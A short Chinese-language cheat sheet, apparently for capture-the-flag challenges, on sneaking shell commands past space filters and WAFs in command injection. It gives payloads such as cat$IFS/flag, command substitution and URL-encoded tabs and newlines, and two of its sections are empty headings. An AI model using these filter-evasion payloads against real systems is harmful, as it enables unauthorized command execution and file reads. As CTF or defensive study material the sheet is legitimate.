🧠 空格绕过 Cheat Sheet¶
1. 经典环境变量绕过¶
#使用 `$IFS`(内部字段分隔符,默认是空格)
cat$IFS/flag
ls$IFS-la
#使用 `$IFS`直接赋值(如果`IFS`被修改,可以自己设定)(`%09` 是Tab字符)
IFS=%09;cat$IFS/flag
2. 子命令替换生成空格¶
#使用 `$(echo)`:(注意:`echo\ `就是`echo 后跟一个空格`)
cat$(echo)/flag
cat$(echo\ )/flag
#使用反引号 ``echo``:
cat`echo`/flag
cat`echo\ `/flag
3. URL编码绕过(Web场景)¶
#空格对应 `%20`
cat%20/flag
#有些WAF可能拦 `%20`,可以试试:
#- `%09` → tab制表符
#- `%0a` → 换行符
cat%09/flag
cat%0a/flag
4. 特殊字符绕过¶
其中 $'\x20'
是bash支持的十六进制转义。
5. Shell内置展开绕过¶
6. Bash Tricks¶
🔥 经验总结¶
第一首选是
$IFS
。第二优选是
$(echo\ )
。URL编码只适合Web场景。
如果系统环境很干净又很严,可以尝试控制字符(
$'\x20'
这种)。